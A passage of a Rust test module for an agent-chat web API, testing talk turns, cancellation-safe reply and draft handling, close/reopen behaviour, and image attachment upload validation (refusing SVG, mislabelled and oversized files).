16039        let empty = talk_task_progress(&[]);
16040        assert_eq!(empty.state, "none");
16041        assert_eq!(empty.total, 0);
16042        assert_eq!(empty.done, 0);
16043        assert!(empty.unfinished_ids.is_empty());
16044        assert!(empty.counts.values().all(|count| *count == 0));
16045    }
16046
16047    #[tokio::test]
16048    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
16049        let (_tmp, _repo, f) = talk_fixture().await;
16050        let id = f.post("/api/talks", None).await.json()["id"]
16051            .as_str()
16052            .expect("id")
16053            .to_owned();
16054
16055        let res = f
16056            .post(
16057                &format!("/api/talks/{id}/say"),
16058                Some(r#"{"text":"what does the queue module do?"}"#),
16059            )
16060            .await;
16061        assert_eq!(res.status, 202, "{}", res.body);
16062        let queued = res.json();
16063        let turns = queued["turns"].as_array().expect("turns array");
16064        assert_eq!(
16065            turns.len(),
16066            1,
16067            "the answer reflects only what is on disk the instant it is sent, \
16068             before the agent's turn - which can run for the whole of \
16069             `[graph] timeout_talk` - has a chance to land: {queued}"
16070        );
16071        assert_eq!(turns[0]["who"], "operator");
16072        assert_eq!(turns[0]["body"], "what does the queue module do?");
16073        assert_eq!(
16074            queued["thinking"], true,
16075            "the accepted response exposes the background turn claim: {queued}"
16076        );
16077
16078        let mut turns_after = 1;
16079        for _ in 0..SETTLE_STEPS {
16080            let detail = f.get(&format!("/api/talks/{id}")).await.json();
16081            turns_after = detail["turns"].as_array().expect("turns array").len();
16082            if turns_after == 2 {
16083                break;
16084            }
16085            tokio::time::sleep(Duration::from_millis(10)).await;
16086        }
16087        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
16088    }
16089
16090    /// A phone that reloads mid-request drops `talk_say`'s whole handler
16091    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
16092    /// guards against: `talk::record` used to return, and only *then* did the
16093    /// handler make a second, separate disk round trip before spawning the
16094    /// agent's reply task. A future dropped in that gap left a message
16095    /// recorded on disk with no reply task ever started and no way back short
16096    /// of a fresh message - and the gap was not even the whole story: *any*
16097    /// `.await` in this handler, including the very first one, is a point
16098    /// where a drop can land after the awaited work already finished but
16099    /// before this handler's own code resumes to act on it. `record` now
16100    /// runs inside the task `tokio::spawn` hands to the runtime before this
16101    /// handler ever awaits anything of its own again, so there is nothing
16102    /// left in *this* handler's future for a disconnect to interrupt between
16103    /// the message landing on disk and the reply task starting.
16104    ///
16105    /// A real socket disconnect cannot be relied on to land in the old gap
16106    /// from a test - over loopback, `talk_say` typically finishes before the
16107    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
16108    /// same failure mode directly: it drops the task's future at whatever
16109    /// point it has reached, exactly what axum does to the handler future,
16110    /// without needing to win a real network race. Sweeping the delay before
16111    /// aborting samples a range of points the task's execution can be at,
16112    /// including where the old code sat waiting on its second disk round
16113    /// trip - confirmed by reverting this fix locally and watching this same
16114    /// sweep catch a talk stuck with the operator's turn recorded and no
16115    /// reply ever following.
16116    #[tokio::test]
16117    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
16118        let tmp = TempDir::new().expect("tempdir");
16119        let repo = tmp.path().join("repo");
16120        std::fs::create_dir_all(&repo).expect("repo dir");
16121        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16122        let home = TempDir::new().expect("temp home");
16123        let talks = Talks::at(home.path().join("talks"));
16124        let ui = Arc::new(
16125            Ui::new(
16126                Queue::at(home.path().join("queue")),
16127                Questions::at(home.path().join("questions")),
16128                talks.clone(),
16129                home.path().join("runs"),
16130                home.path().to_path_buf(),
16131                repo.clone(),
16132            )
16133            .with_worktrees_root(home.path().join("wt")),
16134        );
16135        let cfg = config_for(&repo).await.expect("discover config");
16136
16137        for delay in 0..40u32 {
16138            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16139            let id = talk.id.clone();
16140
16141            let handler = tokio::spawn(talk_say(
16142                State(Arc::clone(&ui)),
16143                Path(id.clone()),
16144                Ok(Json(NewTalkTurn {
16145                    reply_to: None,
16146                    text: "what does the queue module do?".to_owned(),
16147                    attachments: Vec::new(),
16148                })),
16149            ));
16150            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
16151            handler.abort();
16152            // Wait out the abort so the next iteration's talk does not race
16153            // this one's still-unwinding turn guard.
16154            let _ = handler.await;
16155
16156            let mut turns = 0;
16157            for _ in 0..SETTLE_STEPS {
16158                if let Ok(fresh) = talks.get(&id) {
16159                    turns = fresh.turns.len();
16160                    if turns != 1 {
16161                        break;
16162                    }
16163                }
16164                tokio::time::sleep(Duration::from_millis(10)).await;
16165            }
16166            assert_ne!(
16167                turns, 1,
16168                "delay {delay}: talk {id} recorded the operator's turn but \
16169                 the agent never answered - the reply task was never \
16170                 started after the handler future was dropped"
16171            );
16172        }
16173    }
16174
16175    /// The same drop, landing on `talk_say`'s other durable write.
16176    ///
16177    /// When a turn is already running, the busy branch persists the
16178    /// operator's text as a queued draft and then reclaims the turn slot if
16179    /// the holder gave it up in the meantime - and whoever reclaims owes that
16180    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
16181    /// which finishes whether or not the future awaiting it is still there,
16182    /// so a handler dropped at that `.await` used to leave the draft written
16183    /// to disk with the reclaimed guard dropped unread and no drainer ever
16184    /// started: the message sat queued until some unrelated later `say`
16185    /// happened to pick it up.
16186    ///
16187    /// This used to drive the handler future by hand, polling it a fixed
16188    /// number of times to park it at the `.await` where it asks for the turn
16189    /// and finds it busy, before the reclaim's slot-free case could be set up
16190    /// underneath it. That assumed a fixed number of polls lands at a fixed
16191    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
16192    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
16193    /// poll, so any number of this handler's several `blocking` awaits can
16194    /// collapse into one poll under load, landing the drive somewhere other
16195    /// than intended - including, occasionally, straight past the handler's
16196    /// own completion, which made polling it again panic with "async fn
16197    /// resumed after completion". No poll count fixes that; the handler's
16198    /// progress simply is not something a caller outside it can observe by
16199    /// counting.
16200    ///
16201    /// [`BusyQueueGate`] replaces the poll count with a real stop point
16202    /// inside the write itself, so the interleaving under test is pinned by
16203    /// an event instead of a guess: the gate fires only once the handler has
16204    /// actually decided `Busy` and is about to persist the draft, and it
16205    /// blocks that write until the test lets it through. Between those two
16206    /// moments the test drains the turn the handler found busy - through
16207    /// `drain_loop`, the protocol's other half - and then aborts the handler
16208    /// task outright, the same way axum drops a disconnected request's
16209    /// future. The write, and the reclaim it may do, run to completion
16210    /// regardless: they live in the `tokio::spawn` task the busy branch hands
16211    /// to the runtime before ever touching the gate, wholly independent of
16212    /// whether the handler that started it is still around - which is what
16213    /// this test is actually checking. A drainer other than that reclaim
16214    /// cannot exist here: the test's own `drain_loop` call happens before the
16215    /// gate opens, so it runs while the queue is still empty and hands the
16216    /// turn straight back rather than draining anything, closing off the
16217    /// possibility of the final assertion passing without the reclaim ever
16218    /// having done its job.
16219    #[tokio::test]
16220    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
16221        let tmp = TempDir::new().expect("tempdir");
16222        let repo = tmp.path().join("repo");
16223        std::fs::create_dir_all(&repo).expect("repo dir");
16224        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
16225        let home = TempDir::new().expect("temp home");
16226        let talks = Talks::at(home.path().join("talks"));
16227        let ui = Arc::new(
16228            Ui::new(
16229                Queue::at(home.path().join("queue")),
16230                Questions::at(home.path().join("questions")),
16231                talks.clone(),
16232                home.path().join("runs"),
16233                home.path().to_path_buf(),
16234                repo.clone(),
16235            )
16236            .with_worktrees_root(home.path().join("wt")),
16237        );
16238        let cfg = config_for(&repo).await.expect("discover config");
16239
16240        for attempt in 0..3u32 {
16241            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
16242            let id = talk.id.clone();
16243            // A turn is already running, which is what sends `talk_say` down
16244            // the busy branch.
16245            let turn_guard = ui
16246                .begin_talk_turn(&id)
16247                .expect("claim the turn")
16248                .expect("a fresh talk owes nobody a turn");
16249
16250            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
16251            let (release_tx, release_rx) = std::sync::mpsc::channel();
16252            ui.set_busy_queue_gate(BusyQueueGate {
16253                reached: reached_tx,
16254                release: release_rx,
16255            });
16256
16257            let handler = tokio::spawn(talk_say(
16258                State(Arc::clone(&ui)),
16259                Path(id.clone()),
16260                Ok(Json(NewTalkTurn {
16261                    reply_to: None,
16262                    text: "what does the queue module do?".to_owned(),
16263                    attachments: Vec::new(),
16264                })),
16265            ));
16266
16267            // Wait for the busy branch to actually reach the gate, rather
16268            // than for any fixed number of polls of anything - a bounded
16269            // wait rather than a bare `.await` so a regression that never
16270            // reaches the gate fails the test instead of hanging it.
16271            tokio::time::timeout(Duration::from_secs(5), reached_rx)
16272                .await
16273                .unwrap_or_else(|_| {
16274                    panic!(
16275                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
16276                    )
16277                })
16278                .expect("the busy branch dropped the gate without using it");
16279            assert!(
16280                crate::chat_worker::try_publication_guard(&talks, &id)
16281                    .expect("publication fence")
16282                    .is_none(),
16283                "a queued worker cannot promote text before its successor reservation is published"
16284            );
16285
16286            // A listener replacement queues its writer behind this accepted
16287            // mutation. Even disconnecting the HTTP caller must not release
16288            // admission before the write-to-worker handoff has completed.
16289            let closing = Arc::clone(&ui.admissions).write_owned();
16290            tokio::pin!(closing);
16291            std::future::poll_fn(|cx| {
16292                assert!(closing.as_mut().poll(cx).is_pending());
16293                std::task::Poll::Ready(())
16294            })
16295            .await;
16296            assert!(
16297                ui.begin_admission().is_err(),
16298                "replacement blocks later admissions"
16299            );
16300
16301            // The turn that was running now finishes and gives the slot up
16302            // the way a real one does - through `drain_loop`, which finds
16303            // nothing queued yet (the write is still held at the gate) and
16304            // releases. The handler, parked inside `spawn_blocking` on the
16305            // other side of the gate, still believes the talk is busy -
16306            // exactly the interleaving the reclaim exists for.
16307            let running = talks.get(&id).expect("reload talk");
16308            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
16309
16310            // Drop the handler future now, the way a reloading phone drops
16311            // it: suspended waiting on the busy branch's answer, having
16312            // itself made no more progress since it handed the write off.
16313            handler.abort();
16314            let _ = handler.await;
16315            std::future::poll_fn(|cx| {
16316                assert!(
16317                    closing.as_mut().poll(cx).is_pending(),
16318                    "HTTP cancellation must not abandon a publishing transaction"
16319                );
16320                std::task::Poll::Ready(())
16321            })
16322            .await;
16323            assert!(
16324                crate::chat_worker::try_publication_guard(&talks, &id)
16325                    .expect("publication fence after disconnect")
16326                    .is_none()
16327            );
16328
16329            // Only now let the gated write proceed. It persists the draft
16330            // and reclaims the now-free slot from inside the task the busy
16331            // branch already spawned - unaffected by the handler's abort
16332            // above, since that task was independent of the handler's own
16333            // future from the moment it was spawned.
16334            let _ = release_tx.send(());
16335            drop(
16336                tokio::time::timeout(Duration::from_secs(5), closing)
16337                    .await
16338                    .expect("short admission transaction should release for replacement"),
16339            );
16340            assert!(
16341                crate::chat_worker::try_publication_guard(&talks, &id)
16342                    .expect("publication fence after acknowledgement")
16343                    .is_some(),
16344                "the publication fence is not retained by the long response"
16345            );
16346
16347            // A settled talk: the draft drained into an operator turn and
16348            // answered.
16349            let mut fresh = talks.get(&id).expect("reload talk");
16350            for _ in 0..SETTLE_STEPS {
16351                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
16352                    break;
16353                }
16354                tokio::time::sleep(Duration::from_millis(10)).await;
16355                fresh = talks.get(&id).expect("reload talk");
16356            }
16357            assert!(
16358                fresh.pending.is_empty() && fresh.turns.len() == 2,
16359                "attempt {attempt}: talk {id} left the operator's text queued \
16360                 with no drainer - the reclaimed turn was dropped along with \
16361                 the handler future (pending {:?}, {} turns)",
16362                fresh.pending,
16363                fresh.turns.len()
16364            );
16365        }
16366    }
16367
16368    #[tokio::test]
16369    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
16370        let (_tmp, _repo, f) = talk_fixture().await;
16371        let id = f.post("/api/talks", None).await.json()["id"]
16372            .as_str()
16373            .expect("id")
16374            .to_owned();
16375        let store = f.talks();
16376        let mut recovered = store.get(&id).expect("opened talk");
16377        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16378            .expect("persist pending draft without a live turn");
16379
16380        let edited = f
16381            .post(
16382                &format!("/api/talks/{id}/pending/edit"),
16383                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
16384            )
16385            .await;
16386        assert_eq!(edited.status, 200, "{}", edited.body);
16387        assert!(edited.json()["thinking"].as_bool().unwrap());
16388
16389        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
16390        for _ in 0..SETTLE_STEPS {
16391            if detail["turns"].as_array().expect("turns").len() == 2 {
16392                break;
16393            }
16394            tokio::time::sleep(Duration::from_millis(10)).await;
16395            detail = f.get(&format!("/api/talks/{id}")).await.json();
16396        }
16397        let turns = detail["turns"].as_array().expect("turns");
16398        assert_eq!(
16399            turns.len(),
16400            2,
16401            "the recovered draft must run once: {detail}"
16402        );
16403        assert_eq!(turns[0]["body"], "corrected");
16404        assert_eq!(detail["pending"], "");
16405    }
16406
16407    #[tokio::test]
16408    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
16409        let tmp = TempDir::new().expect("tempdir");
16410        let repo = tmp.path().join("repo");
16411        std::fs::create_dir_all(&repo).expect("repo dir");
16412        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16413        let f = Fixture::with_repo(repo).await;
16414        let id = f.post("/api/talks", None).await.json()["id"]
16415            .as_str()
16416            .expect("id")
16417            .to_owned();
16418        let store = f.talks();
16419        let mut recovered = store.get(&id).expect("opened talk");
16420        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
16421            .expect("persist pending draft without a live turn");
16422
16423        let refused = f
16424            .post(
16425                &format!("/api/talks/{id}/say"),
16426                Some(r#"{"text":"new message"}"#),
16427            )
16428            .await;
16429        assert_eq!(refused.status, 409, "{}", refused.body);
16430        assert!(refused.body.contains("resume"), "{}", refused.body);
16431        let saved = store.get(&id).expect("draft remains after refusal");
16432        assert!(saved.turns.is_empty());
16433        assert_eq!(saved.pending, "saved before restart");
16434
16435        let say_path = format!("/api/talks/{id}/say");
16436        let (first, second) = tokio::join!(
16437            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
16438            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
16439        );
16440        assert_eq!(first.status, 409, "{}", first.body);
16441        assert_eq!(second.status, 409, "{}", second.body);
16442        let saved = store
16443            .get(&id)
16444            .expect("draft remains after concurrent refusals");
16445        assert!(saved.turns.is_empty());
16446        assert_eq!(saved.pending, "saved before restart");
16447
16448        let resumed = f
16449            .post(&format!("/api/talks/{id}/pending/resume"), None)
16450            .await;
16451        assert_eq!(resumed.status, 202, "{}", resumed.body);
16452        let duplicate = f
16453            .post(&format!("/api/talks/{id}/pending/resume"), None)
16454            .await;
16455        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
16456
16457        for _ in 0..SETTLE_STEPS {
16458            if store.get(&id).expect("talk").turns.len() == 2 {
16459                break;
16460            }
16461            tokio::time::sleep(Duration::from_millis(10)).await;
16462        }
16463        let finished = store.get(&id).expect("finished talk");
16464        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16465        assert_eq!(finished.turns[0].body, "saved before restart");
16466        assert!(finished.pending.is_empty());
16467    }
16468
16469    #[tokio::test]
16470    async fn an_image_only_recovered_draft_resumes_without_text() {
16471        let (_tmp, _repo, f) = talk_fixture().await;
16472        let id = f.post("/api/talks", None).await.json()["id"]
16473            .as_str()
16474            .expect("id")
16475            .to_owned();
16476        let uploaded = f
16477            .post_bytes(
16478                &format!("/api/talks/{id}/attachments"),
16479                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
16480                PNG_BYTES,
16481            )
16482            .await;
16483        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16484        let attachment = f
16485            .talks()
16486            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
16487            .expect("attachment metadata")
16488            .expect("stored attachment");
16489        let store = f.talks();
16490        let mut recovered = store.get(&id).expect("opened talk");
16491        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
16492
16493        let resumed = f
16494            .post(&format!("/api/talks/{id}/pending/resume"), None)
16495            .await;
16496        assert_eq!(resumed.status, 202, "{}", resumed.body);
16497        for _ in 0..SETTLE_STEPS {
16498            if store.get(&id).expect("talk").turns.len() == 2 {
16499                break;
16500            }
16501            tokio::time::sleep(Duration::from_millis(10)).await;
16502        }
16503        let finished = store.get(&id).expect("finished talk");
16504        assert_eq!(finished.turns.len(), 2, "{finished:?}");
16505        assert!(finished.turns[0].body.is_empty());
16506        assert_eq!(finished.turns[0].attachments.len(), 1);
16507        assert!(finished.pending_attachments.is_empty());
16508    }
16509
16510    #[tokio::test]
16511    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
16512        let (_tmp, _repo, f) = talk_fixture().await;
16513        let id = f.post("/api/talks", None).await.json()["id"]
16514            .as_str()
16515            .expect("id")
16516            .to_owned();
16517        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16518        assert_eq!(closed.status, 200, "{}", closed.body);
16519        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16520            .expect("serialize closed talk");
16521        for (path, body) in [
16522            (format!("/api/talks/{id}/pending/resume"), None),
16523            (
16524                format!("/api/talks/{id}/pending/clear"),
16525                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
16526            ),
16527            (
16528                format!("/api/talks/{id}/pending/edit"),
16529                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
16530            ),
16531            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
16532        ] {
16533            let response = f.post(&path, body).await;
16534            assert_eq!(response.status, 409, "{}", response.body);
16535        }
16536        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
16537            .expect("serialize closed talk");
16538        assert_eq!(
16539            after_clear, before_clear,
16540            "clear must not rewrite a closed talk"
16541        );
16542    }
16543
16544    /// Keeps both claims observable long enough to exercise the distinction
16545    /// between one busy talk and a globally locked Chat surface.
16546    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
16547
16548    #[tokio::test]
16549    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
16550        let tmp = TempDir::new().expect("tempdir");
16551        let repo = tmp.path().join("repo");
16552        std::fs::create_dir_all(&repo).expect("repo dir");
16553        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
16554        let f = Fixture::with_repo(repo).await;
16555        let id_a = f.post("/api/talks", None).await.json()["id"]
16556            .as_str()
16557            .unwrap()
16558            .to_owned();
16559        let id_b = f.post("/api/talks", None).await.json()["id"]
16560            .as_str()
16561            .unwrap()
16562            .to_owned();
16563
16564        let a = f
16565            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
16566            .await;
16567        assert_eq!(a.status, 202, "{}", a.body);
16568        assert_eq!(a.json()["thinking"], true);
16569        let b = f
16570            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
16571            .await;
16572        assert_eq!(b.status, 202, "{}", b.body);
16573        assert_eq!(b.json()["thinking"], true);
16574
16575        let listed = f.get("/api/talks").await.json();
16576        for id in [&id_a, &id_b] {
16577            let view = listed
16578                .as_array()
16579                .unwrap()
16580                .iter()
16581                .find(|talk| talk["id"] == *id)
16582                .unwrap();
16583            assert_eq!(view["thinking"], true, "{listed}");
16584        }
16585        let repeated = f
16586            .post(
16587                &format!("/api/talks/{id_a}/say"),
16588                Some(r#"{"text":"again"}"#),
16589            )
16590            .await;
16591        assert_eq!(repeated.status, 202, "{}", repeated.body);
16592        assert_eq!(repeated.json()["pending"], "again");
16593    }
16594
16595    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
16596    /// few more, since real uploads are never exactly eight bytes.
16597    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
16598
16599    #[tokio::test]
16600    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
16601        let f = Fixture::start().await;
16602        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
16603
16604        let res = f
16605            .post_bytes(
16606                &format!("/api/talks/{id}/attachments"),
16607                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16608                PNG_BYTES,
16609            )
16610            .await;
16611        assert_eq!(res.status, 201, "{}", res.body);
16612        let body = res.json();
16613        assert_eq!(body["name"], "shot.png");
16614        assert_eq!(body["mime"], "image/png");
16615        assert_eq!(body["bytes"], PNG_BYTES.len());
16616        let att_id = body["id"].as_str().expect("id").to_owned();
16617        assert_eq!(
16618            att_id.len(),
16619            32,
16620            "the id must never be a client-suppliable path: {att_id}"
16621        );
16622
16623        let got = f
16624            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
16625            .await;
16626        assert_eq!(got.status, 200, "{}", got.body);
16627        assert_eq!(got.header("content-type"), Some("image/png"));
16628        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
16629        assert_eq!(got.bytes, PNG_BYTES);
16630    }
16631
16632    #[tokio::test]
16633    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
16634        let f = Fixture::start().await;
16635        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
16636
16637        // SVG can carry a `<script>`, so it is never on the whitelist even
16638        // though it is a real IANA image type.
16639        let svg = f
16640            .post_bytes(
16641                &format!("/api/talks/{id}/attachments"),
16642                &[("Content-Type", "image/svg+xml")],
16643                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
16644            )
16645            .await;
16646        assert!(
16647            (400..500).contains(&svg.status),
16648            "svg must be refused: {} {}",
16649            svg.status,
16650            svg.body
16651        );
16652        assert!(svg.body.contains("SVG"), "{}", svg.body);
16653
16654        let text = f
16655            .post_bytes(
16656                &format!("/api/talks/{id}/attachments"),
16657                &[("Content-Type", "text/plain")],
16658                b"just some text",
16659            )
16660            .await;
16661        assert!(
16662            (400..500).contains(&text.status),
16663            "an unlisted type must be refused: {} {}",
16664            text.status,
16665            text.body
16666        );
16667
16668        // The declared type is a real png, but the size check runs before
16669        // the bytes are even looked at.
16670        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
16671        let big = f
16672            .post_bytes(
16673                &format!("/api/talks/{id}/attachments"),
16674                &[("Content-Type", "image/png")],
16675                &oversized,
16676            )
16677            .await;
16678        assert_eq!(
16679            big.status,
16680            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
16681            "{}",
16682            big.body
16683        );
16684    }
16685
16686    #[tokio::test]
16687    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
16688        let f = Fixture::start().await;
16689        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
16690
16691        // A whitelisted `Content-Type`, but bytes that are not actually a
16692        // png - the declared header alone is never trusted.
16693        let res = f
16694            .post_bytes(
16695                &format!("/api/talks/{id}/attachments"),
16696                &[("Content-Type", "image/png")],
16697                b"<html>not a picture</html>",
16698            )
16699            .await;
16700        assert!((400..500).contains(&res.status), "{}", res.body);
16701    }
16702
16703    #[tokio::test]
16704    async fn an_unknown_attachment_id_is_a_404() {
16705        let f = Fixture::start().await;
16706        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
16707
16708        let res = f
16709            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
16710            .await;
16711        assert_eq!(res.status, 404, "{}", res.body);
16712    }
16713
16714    #[tokio::test]
16715    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
16716        let f = Fixture::start().await;
16717        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
16718
16719        let uploaded = f
16720            .post_bytes(
16721                &format!("/api/talks/{id}/attachments"),
16722                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
16723                PNG_BYTES,
16724            )
16725            .await;
16726        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16727        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16728
16729        let res = f
16730            .post(
16731                &format!("/api/talks/{id}/say"),
16732                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16733            )
16734            .await;
16735        assert_eq!(res.status, 202, "{}", res.body);
16736        let queued = res.json();
16737        let turns = queued["turns"].as_array().expect("turns array");
16738        assert_eq!(
16739            turns.len(),
16740            1,
16741            "an empty body with an attachment is still a turn: {queued}"
16742        );
16743        assert_eq!(turns[0]["who"], "operator");
16744        assert_eq!(turns[0]["body"], "");
16745        let atts = turns[0]["attachments"]
16746            .as_array()
16747            .expect("attachments array");
16748        assert_eq!(atts.len(), 1);
16749        assert_eq!(atts[0]["id"], att_id);
16750        assert_eq!(atts[0]["mime"], "image/png");
16751
16752        // Not only in the response: `record` flushes to disk before the
16753        // agent's own turn is even spawned.
16754        let on_disk = f.talks().get(&id).expect("get");
16755        assert_eq!(on_disk.turns[0].attachments.len(), 1);
16756        assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16757    }
16758
16759    #[tokio::test]
16760    async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16761        let f = Fixture::start().await;
16762        let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16763
16764        let res = f
16765            .post(
16766                &format!("/api/talks/{id}/say"),
16767                Some(&format!(
16768                    r#"{{"text":"hi","attachments":["{}"]}}"#,
16769                    "a".repeat(32)
16770                )),
16771            )
16772            .await;
16773        assert!((400..500).contains(&res.status), "{}", res.body);
16774        assert!(res.body.contains("unknown attachment"), "{}", res.body);
16775
16776        let on_disk = f.talks().get(&id).expect("get");
16777        assert!(
16778            on_disk.turns.is_empty(),
16779            "a rejected attachment id must not partially record the turn: {:?}",
16780            on_disk.turns
16781        );
16782    }
16783
16784    #[tokio::test]
16785    async fn talk_close_makes_the_talk_refuse_further_turns() {
16786        let f = Fixture::start().await;
16787        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16788
16789        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16790        assert_eq!(closed.status, 200, "{}", closed.body);
16791        assert_eq!(closed.json()["status"], "closed");
16792
16793        // Idempotent: closing an already-closed talk is not an error.
16794        let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16795        assert_eq!(closed_again.status, 200);
16796        assert_eq!(closed_again.json()["status"], "closed");
16797
16798        let said = f
16799            .post(
16800                &format!("/api/talks/{id}/say"),
16801                Some(r#"{"text":"too late"}"#),
16802            )
16803            .await;
16804        assert_eq!(said.status, 409, "{}", said.body);
16805    }
16806
16807    #[tokio::test]
16808    async fn talk_close_refuses_pending_input_with_conflict_and_preserves_it() {
16809        let f = Fixture::start().await;
16810        let id = seed_talk(&f, "20260904-014455-cd34", "open");
16811        let store = f.talks();
16812        let mut queued = store.get(&id).expect("talk");
16813        for automatic in [false, true] {
16814            if automatic {
16815                talk::queue_once(&mut queued, &store, "automatic notice", "notice-key")
16816                    .expect("queue automatic input");
16817            } else {
16818                talk::queue(&mut queued, &store, "queued send", Vec::new())
16819                    .expect("queue operator input");
16820            }
16821            let before = serde_json::to_value(store.get(&id).expect("queued talk")).unwrap();
16822            let refused = f.post(&format!("/api/talks/{id}/close"), None).await;
16823            assert_eq!(refused.status, 409, "{}", refused.body);
16824            assert!(refused.body.contains("pending input"), "{}", refused.body);
16825            assert_eq!(
16826                serde_json::to_value(store.get(&id).expect("preserved talk")).unwrap(),
16827                before,
16828                "a close refusal must preserve the entire record"
16829            );
16830            talk::clear_pending(&mut queued, &store).expect("clear saved input");
16831        }
16832        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16833        assert_eq!(closed.status, 200, "{}", closed.body);
16834        assert_eq!(closed.json()["status"], "closed");
16835    }
16836
16837    #[tokio::test]
16838    async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16839        let (_tmp, _repo, f) = talk_fixture().await;
16840        let id = f.post("/api/talks", None).await.json()["id"]
16841            .as_str()
16842            .expect("id")
16843            .to_owned();
16844        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16845        assert_eq!(closed.status, 200, "{}", closed.body);
16846
16847        let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16848        assert_eq!(reopened.status, 200, "{}", reopened.body);
16849        assert_eq!(reopened.json()["status"], "open");
16850
16851        // Idempotent: reopening an already-open talk is not an error.
16852        let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16853        assert_eq!(reopened_again.status, 200);
16854        assert_eq!(reopened_again.json()["status"], "open");
16855
16856        let said = f
16857            .post(
16858                &format!("/api/talks/{id}/say"),
16859                Some(r#"{"text":"still there?"}"#),
16860            )
16861            .await;
16862        assert_eq!(
16863            said.status, 202,
16864            "a reopened talk accepts turns again: {}",
16865            said.body
16866        );
16867    }
16868
16869    #[tokio::test]
16870    async fn talk_reopen_on_an_unknown_id_is_404() {
16871        let f = Fixture::start().await;
16872        let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16873        assert_eq!(res.status, 404, "{}", res.body);
16874    }
16875
16876    #[tokio::test]
16877    async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16878        let f = Fixture::start().await;
16879        let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16880
16881        let deleted = f.delete(&format!("/api/talks/{id}")).await;
